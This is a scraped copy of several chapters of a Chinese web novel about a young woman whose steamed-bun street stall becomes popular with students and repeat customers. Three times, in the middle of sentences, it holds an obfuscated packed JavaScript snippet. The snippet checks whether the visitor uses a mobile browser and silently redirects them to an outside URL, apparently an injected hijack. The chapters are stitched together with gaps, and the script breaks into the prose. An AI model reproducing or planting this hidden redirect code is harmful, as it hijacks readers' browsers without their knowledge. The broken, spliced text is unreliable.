《从零开始成为面点大师》 6. 第六章 猪肉三鲜包 “我们要买包子！还有酸梅汤！” “老板，你这里还有什么馅的，有肉的吗？...”四个人抢着说话，七嘴八舌、闹哄哄的。 江皖被吵的受不了，伸出手摆了个停止的手势，抓住停顿的空隙：“一个一个说，我这里肉的素的都有！”几人终于冷静下来。 为首的红毛口气挺大，一口气要了八个猪肉三鲜包、八个三鲜包，看样子还是一个人吃的，江皖都想劝他量力而行，不过她还是低估了大学男生的饭量。 先用油纸袋装了四个包子递给他，剩下的还没装完，红毛跟饿死鬼托生似的，风卷残云的吃了三个，他个子挺高，但瘦的跟排骨似的，真是人不可貌相。 剩下的男生也像大胃王附体，每个人都要了七八个个包子。 他们也不嫌弃没凳子，蹲在路边就开始吃起来了。还不忘买了几杯酸梅汤。 江皖把酸梅汤盛好递给他们，几人终于缓口气，说起了来这里的缘由。 红毛的嗓门最大，他先介绍他叫蒋永江，听他的意思，是章放介绍他来的，他们俩住一个宿舍，今天下午蒋永江跟几个朋友在宿舍开黑，打的尽兴，都没吃饭。 正好晚上章放约会回去，后来看他们饿的嗷嗷叫，手里正好拎着刚买的包子，就大发慈悲分给了他们，几人原本准备出去吃烧烤，先用包子垫垫肚子，结果第一口就把他们征服了。 据他们夸张的说法，要是在食戟之灵的世界，他们当时肯定爆衣了！ 当然，江皖认为这是夸张的说法，自己的包子确实好吃，但肯定还没达到动漫美食那种能放金光的标准。 蒋永江几人讨论后认为必须来江皖这里吃到爽，可惜章放有事来不了。 问到地址后，他们一人扫了一辆小黄车，一路骑车狂奔到这里。 虽然这几个热情的人中二的说法让她有点尴尬，但江皖还是很高兴自己的包子能得到食客的喜欢。 几个人蹲在路边吃，吸引了不少目光，这时一个遛狗还牵着小孩的光头大汉也被吸引过来，看了一眼招牌，他点了一个素三鲜包、一个猪肉三鲜包。 然后走到前面的花坛旁边坐下，一共两个包子，直接给狗嘴塞了一个，剩下一个掰了一半递给孩子，剩下半个，他一口全部塞进去了。 江皖挺佩服的，要说她的包子可比一般的包子大一圈，他能一口吃半个也挺牛的。 光头大汉咂摸了一下，似乎没尝出滋味，又跑到她这里付钱买了四个，一只手牵着狗绳和孩子身上的防丢绳，另一只手拿着包子站在三轮旁边就开始啃。 这宣传效果，太醒目了。好多人也跟着过来买包子，一时间居然有四五个顾客排队。 一开始她还挺高兴，但祸福相依说的就是现在了。 这些顾客看了价钱后基本都买一个两个尝尝鲜，但来买的人不少。 送走四五个顾客，江皖擦了擦汗，换了一个手套，掀开盖子，刚准备给下一个顾客拿包子。这时傻眼了，箱子里的包子只剩几个了。但她面前还有四五个人排队。 江皖顿时慌了，怎么办，根本不够卖。刚开始还担心卖不出去，现在她又后悔没多做一点。 因为白天还要上班，所以她只做了两锅包子，刚才来的几个大学生买走了快三分之一。后来的顾客一个接一个，买的量少，但人多，一层一层垒好的包子逐渐消失。 而且还有回头客——那个大汉赫然又出现在队伍后端，这次是他排队的第三次了。江皖心里吐槽【看来他家的人和狗狗都挺喜欢她的包子】 没办法，包子没了，江皖只能硬着头皮对眼前的顾客道歉：“不好意思啊，现在包子只剩七八个了，后面的客人大概买不到了。” 但后面排队的人没一个走的，还在执着的等着。 排在第一位的大娘赶紧用手机扫付款码，“我要两个猪肉的，两个豆腐的。”她心里还挺惊喜。 她晚上出来遛弯，看到这个包子摊面前排了不少人，路边几个小伙子走的时候跟她们一直夸这家包子好吃，本来就爱吃包子的她一下来了兴趣，赶紧过来排队，自己还挺幸运，后面那么多人都买不到呢。 后面的排队的几乎都是吃过又来买的回头客，大娘买过后，下一个眼熟的姑娘把剩下三个包子全买了。 看了看空空如也的箱子，江皖只得再次道歉：”不好意思啊，包子全卖光了，大家明天再来吧！“ 后面的顾客怨声载道，一个姑娘高声问：”老板，你明天还在这里卖吗？“ ”对，明天还是这个位置，不过如果下雨，我可能不出摊了。“江皖把保温被叠好扭头回答。 这边的摊位没有遮雨的地方，另一个夜市有雨棚，江皖打算如果天气不好就去那里摆摊。 旁边的同伴张爽一听就觉得明天可能有点悬，她妈今天接小侄子放学经过这里，顺便买了几个包子，张爽下班后到哥哥家吃晚饭，看到小侄子吃的很香，所以也拿了一个尝尝，没想到一发不可收拾，家里五口人都抢着吃。 她住的地方离这的距离有点远，原本张爽想买一点明天早上当早餐呢，但她来的晚，已经卖光了，刚才手机上天气预报说明天很大概率有雨。 有点不甘心，她想了又想，还是很想吃到这家包子，试探着问老板：“江老板，你有微信群吗，明天去哪里摆摊在群里说一声，免得白跑一趟。 微信群？好像可以。 江皖觉得有必要建一个微信群有，自己摆摊毕竟是个长期事业，而且从今天的情形看，自己的回头客较多，说不定顾客多了还能把其他品类馒头推出去呢。 “目前还没群，不过我现在建一个也行。”说着江皖就掏出手机，面对面建群，眼前的几个顾客也赶紧加了进来。 打开保温桶，里面还能盛出来五六杯酸梅汤，酸梅汤不能隔夜，要是卖不完就要倒掉。 顾客们还没走，江皖干脆搞起促销“酸梅汤只剩四五杯了，现在特价两元一杯，有人要吗？” 没买到包子，剩下几个顾客也挺不甘心，于是一人一杯，把剩下的酸梅汤都分了。 餐车全部清空，江皖也正式收摊回家。 骑在车上，江皖看了一眼手表，现在已经晚上八点五十了，她今天下午五点半下班，到家后把包子都蒸好，中午煮好放冰箱冷藏的酸梅汤装桶，都搬到车上，骑上三轮车到达市场的时间大概七点，脑中复盘了一下计划，发现没多大变动，作为J人，江皖的心情也是非常好了。 周围一些摊贩也开始收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317313|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西，只有烧烤、麻辣串还在坚守原地，不管干什么都不容易啊，她没忍住打了个哈欠，精神高度集中的两个小时让她手脚有点困顿，还是赶紧回家休息吧。 摆摊地点离家路程不远，晚上车辆也少了很多，江皖骑了十分钟就到了小区楼下，刚把车子停好，就见到两个熟悉的人影在凉亭里晃悠。 江皖把车头扭过去，车灯打开，朝凉亭的方向照去，果然是她爸妈。 这俩人，是在这里等她吗？江皖心里暖暖的，江建国和张芳芳还在朝西边张望，那边是小区大门的方向，江皖这次走的是南门，正好顺路。 “爸！妈！我在这边！”他们俩好像丝毫没察觉到照在里面的灯，一个劲往一个方向看，江皖只好张口提醒他们。 江建国和张芳芳已经在亭子里坐了半个小时。因为担心江皖，两人今天提前关店，想打电话给她，又怕她不高兴。想偷偷去围观闺女的初次创业，但江皖把摆摊地点守的严丝合缝，不告诉他们一点。 没办法，回到家在沙发上坐立不安，于是他们商量着到楼下等江皖。 听到背后有人喊，两人赶紧转过身，江皖还在三轮车上笑着看他们。 江建国赶紧迎上去，帮忙卸掉车上的箱子，张芳芳也把车上的塑料袋和杯子等小物件一样一样整理好装起来。两个人看到江皖也没敢多问，只乐呵呵的帮忙收拾。 江皖心里有点酸，扭过头控制了一下表情，不想让他们担心：“爸，帮我把保温桶搬上去吧，我来抬箱子。”又清了清嗓子“今天的酸梅汤和包子可受欢迎了，全部都卖光了！” “是嘛，我就知道。”江建国一脸惊喜，赶紧上前抱起银色大桶，晃了晃“还真是，一点都没了。” 张芳芳把小物件塞进袋子后也上前帮忙搬保温箱，看到江皖头发有点乱。问道：“小皖，今天累不累啊。” 看着母亲关切的眼神，江皖不想让她担心，立马摆出得意的表情：“我去摆摊，只花了两个小时，就全卖完了，好多顾客还想要呢。可惜没有了，大家都加我微信，明天还要预定！” 张芳芳看女儿没有沮丧的模样稍稍放心。 一家人把车上的东西都收拾干净，搬回家。一路上江皖给爸妈详细讲述今天摆摊的【心路历程】，从刚开始无人问津到顾客爆发，包子供不应求，听的江建国和张芳芳喜笑颜开。 坐上电梯打开家门，江皖放下手中的箱子就直奔沙发，“我要赶紧躺一下，好累啊！”说着还在上面打了两个滚。 江建国和张芳芳直接把保温桶搬进厨房，开始清洗。江皖见状，爬了起来也到厨房一起忙活。 “我刚才算了一下，今天赚了三百多块呢！”江皖对父母显摆。 张芳芳把洗好的保温箱放在阳台，扭头夸赞：“真厉害，你爸爸一天也就三四百的水平了。” 江建国人到中年，听出来老婆有埋怨他挣钱少的意思，但他是个老好人，不爱生气也从不跟老婆吵架，只一个劲夸赞江皖。 江皖不想引起父母矛盾，换了一个话题：“明天我打算多做一点，今天的九十个不够卖。” 张芳芳有点心疼女儿，今天早上江皖五点就起床和面了，“那明天我在家帮你，你一个人也做不了那么多吧。” 8. 第八章 虾仁三鲜包（二） 把冰箱里两盆早晨活好的面拿出来，江皖用手轻轻按了按，状态不错，她的发面技术愈发高超了，根本不会翻车。将台面清理干净，撒上面粉，活动活动双手，把面团揉成条状，用菜刀切成小块。 她伸出右手，动作麻利的拿起小面团，左手从碗里捏起一小撮面粉均匀撒上，面团放在案板上用手掌轻轻一按，拿出擀面杖，几秒就能把一个面团擀成薄片。 没一会儿功夫，案台上已经全部是擀好的包子皮。江皖把冰箱里冷藏的馅料拿出来，左手托住面皮，右手蒯了一大勺馅，用大拇指轻轻一捏一个褶，不停转动、一个个小褶整齐的把包子口封上。 江皖的手法精巧又快速，这时要有人来看，会感叹她的速度，像变魔术似的，瞬间就变成了一个个精致的包子，十秒左右她就能包好一个包子，大概半个小时过去，一百来个包子已经全部包好。 江皖已经习惯了这个速度，她有时候也会疑惑自己上手这么快究竟是自己有天赋，还是系统给的金手指。 总之从得到系统，开始做面食起，她的厨艺从几乎为零、和面加多了水到十指翻飞眨眼间包好一个包子，进步速度非常快，蒸出来的包子几乎没有失败过，就是在她眼里的失败作品，家人尝过后也认为比市场上的好吃。 但厨艺好是一回事，还需要解决现实中遇到的问题。 例如中午把包子包好，二次醒发半个小时左右就应该上锅蒸，否则放置时间过长会导致，面皮发酵过度变酸，还有可能使包子馅变质。 但江皖下午还要上班，她的计划是中午休息时间包好，下午下班开始蒸，然后直接拉去摆摊。 那么下午的四个小时怎样储存包子呢？ 她查询并实验了很多方法，最终决定将包子放冰箱冷藏。 为了验证这个方法能否成功，当天她就做了一锅包子，包好后装在保鲜盒放入冰箱，冷藏四个小时，拿出来的包子已经变的硬邦邦的。放上蒸笼、打开燃气，江皖搓搓手，目光紧紧盯着这锅包子。慢慢的蒸锅冒出水蒸气，带着丝丝麦香。二十分钟后她伸手关掉火，掀开锅盖，眼前的包子白白胖胖，与没冷冻过的一模一样。 拿出夹子，小心的夹出一个，她目光严肃，仔细端详——没有区别。接着掰开包子，鼻尖凑上去闻了一下——也没有区别。接下来就是最重要的味道——细细品味，依旧好吃，没有变化。 担心自己太主观，江皖把这锅包子送到爸妈和爷爷奶奶那里，几人尝过后都认为味道甚好，与先前的没有区别。 至此江皖终于放心，包子储存问题解决了。 随之而来另一个问题又出现了——家用冰箱容量小，还放着其他食物，一锅包子勉强能放下，两锅三锅就不可能了。 而且制作好的酸梅汤也需要放冰箱冷藏，一时间江皖有些苦恼。 晚上忙完回来的江建国听她说了问题后，打了个响指，一副胸有成竹的模样，带江皖到单元楼下的地下储藏室，翻了一会居然找出了一个大冰柜，像外面卖冰棍的那种，墙边靠着一个板车，两人合力把冰柜抬到板车上，直接拉到家里。 就这样，包子储存的工具问题也解决了。 心里的两块大石头都落地，江皖兴奋的跑到客厅，狠狠的拥抱正在看电视的爸妈，两人对闺女突如其来的举动一脸懵逼，还没反应过来，江皖已经松手，绕着客厅转圈，然后回到房间扑在自己的床上疯狂打滚。 当时确实激动过头了，还不小心把腰闪了一下。感慨了一下三天前的疯狂举动，她揉揉已经好了的腰，把装满包子的保鲜盒摞在一起搬到放在客厅角落的冰柜边，打开冰柜，全部放到里面。 今天的工作量有点大，看了看手机时间，已经两点十分了，还能在床上躺半个小时，两点四十从家出发刚好。 订好闹钟，江皖躺在床上捏捏酸软的手臂，闭了一会儿眼，心里还在琢磨着下午下班后从蒸包子到装箱的每一个步骤，她喜欢把接下来每一步计划都在脑中预设好，像走流程一样提前模拟。 刚模拟到把包子装箱的步骤，眼皮已经酸涩的抬不起来了，“算了，还是睡觉吧。”翻了个身，她慢慢睡着了。 半个小时后闹钟响起，江皖痛苦的用被子蒙住头——到底是哪个专家说午觉睡半个小时最好的，她根本爬不起来！ 在床上挣扎了一会儿终于挺起身，使劲揉了揉眼，睡眼惺忪的换好衣服，看了眼手机，已经两点四十五了。江皖被吓的一激灵，赶紧洗了把脸，飞快的跑下楼骑上车，踩着点到了单位。 到了单位，她还打不起精神，不住的打哈欠，冯姐正在换鞋，看她的样子打趣她：“你中午没睡觉吗，看起来眼睛都睁不开。” 江皖不想告诉同事自己在外做副业的事，叹了叹气，“中午没睡好，一直在做梦。”走到储物柜打开柜门，把白大褂穿上，瞟了她一眼转移话题：“冯姐是不是买耳环了？这个没见你戴过。” 冯姐立马转移注意力：“小江也注意到了啊”她摸了摸耳朵上绿色的宝石耳环：“这是我前两天去江陵旅游买的，哎呦那个地方这种手工艺品做的可好了！我跟你说...” “嗯嗯，真的吗...是吗”江皖点头附和同事的话。窗外太阳高悬，艳阳高照，一点都没有要下雨的意思。 打开手机看一眼天气预报，果然降雨概率又变成了20%。 微信群聊天界面还停留在上午下订单的聊天，江皖把里面的预订信息都截图添加到备忘录里，然后发了个消息并艾特全体成员 一颗葡萄：【下午六点半准时到四桥菜市街摊位出摊！】 一条消息炸出了四五个人，群里很快有人发消息。 岁月静好：【小老板，我晚上有点事，要七点多才能过去，现在还能预定吗？】 江皖看到消息后回复：【可以预定噢！摆摊时间前随时可以预定，但由于平时忙碌，消息有时候来不及看，如果看到了会给大家回复的，菜单就在群公告里，大家可以根据菜单预定哦！】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317315|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岁月静好：【好的，那我先定4个虾仁，四个素三鲜。】 江皖回复收到，顺手添加进备忘录。 猴子屁股没我脸红：【我要三个豆腐粉丝、三个猪肉三鲜。】 两个转账信息咻咻发出，江皖点击确认接受，在群里发了个谢谢惠顾的表情包，就收起手机，继续上班。 其他微信消息，只有在她不忙的时候才能回复，所幸群里目前只有之前的顾客和他们拉进来的人，加起来大概十多个人，江皖暂时还算能忙过来。 下午工作挺忙，江皖没空看群消息，直到下班才又接受了两个订单，换好衣服后她就抓紧时间，一路跑到车棚，骑上车就往家赶。 到家后顾不上喝水，把三个蒸锅接上水，放到燃气灶上，铺好笼布，从冰柜里把包子全都拿出来，一层一层放好，然后开火。 等到锅边开始冒烟，江皖调好计时器时间，暂时不用盯着锅了。 接下来把中午熬制好的酸梅汤装桶，这段时间干的活多了，她的力气也逐渐变大，不像从前那样拧不动瓶盖了，蓄力把煮锅从台子上一把端下来，保温桶里已经装满冰块，把两个桶拉近，在保温桶上方放一个细密网眼的过滤勺，用买纯净水送的吸水泵把锅里的酸梅汤泵入保温桶。 没办法，就算江皖的力气比之前大了不少，但还不到能抬动不锈钢大锅的程度。 吸水泵嗡嗡的工作着，江皖还不能休息，前两天她在网上下单了保温箱，因为泡沫箱的保温效果不是很好，前几天只能将就用。 今天保温箱才邮到家，不过她妈抽空回来帮忙把保温箱清洗干净了，现在她只需要把加热板注满热水，然后放在保温箱底部，直到这里所有准备工作就告一段落了。 计时器响起，包子已经蒸好，酸梅汤也全部被吸水泵泵入保温桶，带上手套趁热把包子放入保温箱，接下来就要出摊了。 把食物用小推车全部搬运到三轮上，江皖手握车把，终于要出摊了。 到了四桥菜市街附近，江皖就眼尖的看到昨天卖鸡蛋灌饼的大姐已经到了，还是昨天的位置，她旁边还有空位。 运气挺好，她放慢速度，看好位置、开始倒车。不偏不倚刚刚好就停在那个空位。 接着就是老一套，挂招牌、放喇叭。零零碎碎整理好后江皖还出了点汗。 旁边胡大姐看见她来也挺开心，昨天她俩没客人时就在一起聊天，彼此还挺投缘。 胡大姐跑过来：“小江啊，你今天来的有点晚呀。” 江皖一边整理碎发、戴上帽子，一边回答：“都是现蒸的包子，今天多做了一点，所以多花了点时间。” 胡大姐点头：“你昨天的生意到后来可够好的，确实应该多做点。”脸上还有点羡慕。 江皖摆了摆手：“嗨，都是运气，胡大姐你的生意才好呢，你的手艺好，客人都不断的。” 胡大姐不经夸，听她这么一说，脸上立刻浮满了笑：“咱们生意都好，都好！” 9. 第九章 虾仁三鲜包（三） 说着说着胡大姐的摊位就来人了，江皖提醒她：“来客人了！”胡大姐赶紧过去招待。 这会儿没人，江皖干脆把群里预定的单子都单独包装好放在保温箱角落，方便他们过来拿。 刚把预订的单子包完，江皖就要开张了。 还是昨天的红毛四人组，今天还多了一个章放。五个人依旧骑着共享单车，车子放路边后就直奔她的摊位而来。 蒋永江跑来后连口气都不喘直接要了三个猪肉三鲜三个素三鲜，江皖装好递给他后，他就站在摊子边直接吃了起来，看起来依旧很饿的模样。 旁边的微胖男生李洋眼尖，看到竖在车旁的招牌上多了一个新品种：虾仁三鲜，不过比猪肉三鲜的贵了两块，这也可以理解，他昨天也吃了江皖家的包子，而且发自内心的认为每一种馅的都很好吃，不过作为肉食动物的他更喜欢猪肉三鲜，今天还多了一种虾仁三鲜包。 李洋不再犹豫：“老板，我要三个虾仁三个猪肉的” 江皖把包子装好递给他，后面的几个男生也互相商量着每个人都买了不一样的馅，打算分着吃，而且每个人都买了四五个。 她有点咋舌，说实话，她的包子价格不便宜，不过也比平常的包子大一圈，成年人基本两三个就能吃饱，这几个男生一买就是五六个，个个都是大胃王，买下来最低也要二十块了。 章放买的还要多，买了八个，不过据他说其中一半还要回去送女朋友。 五个人买完后还是跟昨天一样，不过今天他们没有蹲路边，而是跑到更前面花坛边的椅子上坐着吃。 李洋对今天的虾仁馅很期待，昨天品尝到的包子让他非常相信老板的手艺。 解开塑料袋，拿出热乎乎的包子，他狠狠的咬了一大口，眼睛亮了，顾不上说话，三四口就把这个包子解决了。 吃完后，他才有空回味，太好吃了吧！这个包子里的虾仁不像那些包有一整个虾仁的包子，而是打成了泥，但有似乎没有完全打成泥，他还能嚼到虾仁脆滑的口感，蓬松柔软还带有韧性的面皮、猪肉的油润口感与虾仁的鲜嫩脆滑完美融合，口感鲜美，汤汁爽滑，让人吃一口都欲罢不能。 四个人坐在椅子上边吃边聊。 蒋永江酸溜溜说：“李洋，虾仁吃着怎么样？给哥分一个呗。” 李洋不想理他，蒋永江家里有钱，但可能是家教很严的缘故，一上大学就放飞自我，先是染发，后来开始打游戏，昨天玩上头，在游戏里冲了几万块钱，被抓个正着，今天好像是他哥打电话过来，严厉斥责他的行为，并把卡停了。 当时坐在旁边的李洋隐约听到电话里清冽的男声语气平静：“妈很生气，决定这个月不再给你一分钱...” 这个消息让蒋永江开始夸张的哀嚎，语气非常卑微：“哥，我唯一的哥，你就劝劝妈放过我这次吧，我保证我再也不乱花钱了。” 然而电话那边不等他说完就挂了，后来蒋永江跑到阳台坚持不懈的打电话，试图让家人改变主意。 结果如何显而易见，从阳台走出来的蒋永江面如死灰，眼里闪烁着诡异的光芒：“兄弟们，接下来这一个月我只能靠你们了！” 不过后来他没放弃，又在柜子里倒腾了半天，终于翻出了两百块钱，还有几个钢镚。 这些钱就是蒋永江这个月的生活费了。 几人早就商量好要来江记买包子，蒋永江这家伙不注意看菜单，大手大脚，一次就花了仅剩的十分之一。 李洋吃了两个虾仁包，还算满足，虽然吐槽他心里没成算，但都是一个宿舍的好兄弟，他还是把剩下的一个递给蒋永江：“给你吃吧，下个月记得请回来。” 几人打打闹闹，临走时又到江皖摊前买酸梅汤。 江皖装好递给他们，顺便问道：“我有一个顾客群，你们要进去吗？可以预定，我换地址也会再群里通知。”几个人当然要进，江皖拿出手机打开群二维码，蒋永江凑到前面先扫码，然后把其他朋友都拉进去。 一进群，蒋永江就热情的在群里发表情包，他还遗憾的对江皖说：“老板。等下个月我有钱了就发红包。” 李洋搂住他脖子：“别得瑟了，小心乐极生悲。赶紧走吧，别打扰老板做生意。”他瞧见旁边已经来了几个顾客，拉上朋友，几人打打闹闹的骑上车走了。 几个顾客也围上来，有的东看西看、有的直接凑上来准备点单，七八个顾客一股脑全部围过来。 江皖无奈的叹了口气，不知怎的，她的小摊，要么没人，要么一堆人，嘈杂的声音混合喇叭的叫喊声吵的人快要耳鸣。 江皖按掉喇叭，戴上手套，看着眼前的顾客，清了清嗓子：“大家别着急，都排队，有预定的顾客排到了出示消息记录啊。” 排到最前面的女孩立刻拿出手机扫付款码：“老板，我要两个虾仁，两个素三鲜。”她手里还拿了一个GoPro，可能是个美食博主，江皖装好递给她后，她就对着设备展示手中的包子。然后不好意思的问江皖：“老板，我可以拍摄你的摊位吗？”她可能涂了带闪粉的眼影，眨着睫毛像星星在闪烁，亮晶晶的。 江皖微笑：“当然可以，不过只能拍摄物品，我不太想入镜，也要注意别拍到其他客人哦。” 女孩很高兴的答应了，举起GoPro走到一旁继续拍摄。 第二个排到的是一个大叔，夹着公文包，看起来像上班族，他熟门熟路的开口：“两杯酸梅汤，虾仁、猪肉三鲜、素三鲜各两个。”江皖装好递给他。 这时旁边有人问：“我听说这条街有一家包子挺好吃，只在晚上开门，摊主是个年轻姑娘，是这里吗？” 上班族大叔接过包子就开始热情推荐：“就是这家，包子老好吃了，酸梅汤也好喝，我老婆特别喜欢，我下班就没耽误，直接过来买。” 江皖挺荣幸的：“谢谢您的喜欢，您可以加我一个顾客群，有新品会发布在里面，白天也可以预定。” 大叔当场就要进群，江皖又从口袋里掏出手机打开二维码。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317316|183071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面的顾客听到了有的叫嚷着也要加群、有的人在抱怨耽误时间，江皖没过多理会，大叔进群后她镇定的说：“不好意思啊，后面我会加快速度，想要加群的顾客如果愿意的话稍微等一会儿。”她把群二维码放大，手机直接放在身旁三轮车的横梁上：“想要进群的可以直接扫码。” 面前顾客说话声音小了很多，下一个顾客是昨天的小学生张浩鑫，江皖见到他挺惊喜的，微笑问他：“小朋友这次要点什么？” 张浩鑫把手中攥的皱巴巴的二十元递给她：“我想要一个豆腐粉丝的、两个猪肉三鲜的。” 之前江皖余光瞟到他在书包里掏了半天，才把钱掏出来，猜测这是他的零花钱，拿起夹子多给他装了一个豆腐包。 毕竟这个小朋友是她的第一任顾客，她还挺感谢他的。 把包子装好江皖直接塞到他手里，眨了眨眼：“谢谢惠顾，回家路上注意安全哦”。附近有个小学，张浩鑫还穿着那个学校的校服，应该是放学后直接跑过来的。 张浩鑫脸又红了，接过包子点点头就转身跑开了，江皖感慨，真是个羞涩的小孩，还挺可爱的。 后面的顾客挺多，快排成长龙了。 有的是来凑热闹，看到人多也过来排队，大多数买一两个、有的则是回头客，非常自信，都是五六个起买，还有的是在群里预定的顾客，江皖早就打包好了，出示凭证后就直接递给他们。 江皖打包的手艺逐渐纯熟，送走一个一个顾客，保温箱里的包子也快见底了，她歪头看了一眼排着的队伍，心里默数了下，大概还有六七个人，这次她吸取了昨天的经验，还剩二十多个就开始大声提醒：“不好意思啊大家，包子数量有限，还剩二十多个，虾仁和素三鲜的已经卖光了，有意愿的顾客不用排队了哦。” “这么快！我特意赶过来买的，居然没了！” “老板，下次多做点嘛，昨天都没买到！” 后面的顾客开始抱怨，江皖无奈解释：“小本生意，数量暂时提不上来，想要的可以提前在群里预定。” 然后微笑着接待下一位顾客。 “我要三个豆腐粉条、三个猪肉三鲜，再装两杯酸梅汤谢谢。” “我要两个猪肉粉条，一杯酸梅汤” ... 卖的速度比预想的还快，还没排到最后几个顾客，包子已经全部卖光了。 江皖合上保温箱盖子，拿起毛巾擦了擦汗，说话太多嗓子已经有点哑了：“包子已经卖没了！后面的顾客不用排啦，请明天再来！” 没排到的人失望的走了，排在队尾的姑娘不甘心，上前询问：“老板，真的一个都没了吗？我昨天都没买着。”她哭丧着脸。 江皖有点抱歉，重新把保温盖子打开，展示给她看：“不好意思，真的没有了。”她有点不忍心。 “还有一点酸梅汤，你要吗？” 她的酸梅汤卖的也很好，但胜在量大，现在锅里还剩一点，江皖原本想回家自己喝。 11. 第十一章 桂花糕（二） 这两天真是忙昏头了，说实话，江皖都没想到自己居然把这么重要的事忘了——她明天晚上要上夜班。 她工作医院的夜班是从当天下午开始，一直值到第二天早上其他同事来接班，这就意味着明天下午不能正常摆摊了。 但现在的问题是，顾客群里的订单已经接下，预定的钱也都收了。如果现在把钱退回去，给顾客们道歉倒也是个办法，但不论如何，这件事也是对自己信誉度的打击。 她的事业才刚刚开始，并不想因为自己的失误辜负客人的信任。 呆坐在床上的几秒她绞尽脑汁，终于想到一个办法——请张芳芳女士，她的母亲帮忙代班。 事不宜迟，江皖穿上拖鞋就往外走。 她去敲门时两人还没睡，张芳芳穿着睡衣靠在床头，手机里还在播放婆媳苦情剧。听完江皖的话后她把电视剧暂停，并不认为这是多大的事，无奈的说：“你明天停一天不就好了，干嘛非要去摆摊。” 江皖哭丧着脸：“我也不想啊，但是我预订单子的钱都收了，好几百呢。” 江建国在一旁满脸稀奇：“你的生意这么好吗？这都搞上预定了。” 江皖见他们不太相信的模样，得意的扬起嘴角，调出手机聊天记录怼到两人面前，看着两人睁大眼睛仔细翻阅后震惊的模样，心里美滋滋的。 嘴上还谦虚：“哎呀，生意一般般啦，都是客人捧场啦。” 张芳芳看过后果然犹豫了，江皖一看有希望，立马乘胜追击：“妈，世界上最好的妈妈，你就帮我这一回吧，你忍心看我的顾客全都流失吗？而且我还给你发工钱，好不好嘛！” 看着江皖祈求的眼神，张芳芳犹豫后还是答应了，她倒不是为了江皖那仨瓜俩枣的工钱，不过女儿的摆摊事业好像做的还行，手机里收的钱都快赶上家里餐馆日收入的一半了。 原本以为女儿做这个副业只是一时兴趣，看她每天赶时间那么累时，张芳芳还想劝她别干了。不过看着女儿的眼神，她能感受到江皖认真的态度，说实话，她还挺惊讶。 因为从小到大江皖做事从来都是三分钟热度，之前流行的什么画手账、钩毛线、做手工等等，材料买回来后没新鲜两天就放在角落生灰。原本她以为摆摊这件事也是江皖一时的兴趣，没过多关注。 张芳芳现在仔细回想，从江皖开始准备摆摊到今天，已经快一个月了，到目前为止，江皖没有表现出半分失去兴趣的样子，反而态度很认真。 反正就是卖包子，她现在好歹也是一家餐馆的老板娘，这种事手拿把掐。 至此，江皖这才真正解决了眼下真正的“心头大患”，得到母亲的保证后她心满意足的回房间睡觉了，明天还要早起和面呢。 ... 第二天早上五点，江皖就准时出现在厨房，哼着歌活着面。今天还是两大盆面，蒸三锅包子。 原本她还考虑要不做两锅，但她大致算了一下，如果只做两锅，那除去订单，剩下的也没多少了，还有其他的顾客，肯定不够卖。所以思来想去，最终决定做三锅。 不过她的包子卖的很快，江皖边揉边思忖，“一会儿跟妈妈交代一下注意事项吧。” 时针走了一格，六点江建国准时出现在厨房做早餐，此时江皖低着头正在厨房中央的岛台上用大盆揉面，旁边另一盆已经揉好了，他探过脑袋瞅了瞅，有点咂舌，心里感概：闺女的技术越来越好了，力气也见长，把这么两大盆面揉好，想想都很累。知道江皖的习惯，他没打扰，放轻动作慢慢切菜。 江皖揉面越来越熟练，速度也越来越快，等她把剩下一盆揉好时，江建国正在切菜，声音一会轻一会重。重重的切菜声响起时他就赶紧停顿几秒，生怕江皖被打扰。毕竟平时在家和饭馆都是他一个人掌勺，拥有随意切菜的自由，忽然要小心，毕竟没有经验，一时之间还控制的不太完美。 江皖揉完面回过神来时已经发现江建国正在厨房做早饭了，她好奇的看了一眼，立刻抗议：“咦——怎么是苦瓜。”江皖皱眉，虽然江建国的厨艺很好，能把苦瓜的大部分苦味都去除，但她的舌头很灵敏，总能感受到多于别人的苦味，所以她特别讨厌吃苦瓜。 江皖开始说话，这表示江建国终于能放开手脚了，他知道江皖不爱吃苦瓜，安慰她道：“苦瓜我跟你妈吃，一会儿给你做西红柿撒白糖。”江皖终于高兴了，简单的西红柿拌白糖，她从小吃到大都不腻。 看了一眼钟表，时间差不多了，她又忙活着腾空冰箱，把面团放进去。接下来就没什么事要干了。 解下围裙，打开手机，江皖心里默算了一下早上花的时间，好像比前两天花费的时间少了一半。 不知道是不是错觉，她若有所思，最后还是点开系统。果然！发生了变化，个人信息界面上多了一行【个人技能】。 现在她的界面是这样的： 【姓名】：江皖 【等级】：1（63/1000） 【身体状况】：健康（80/100） 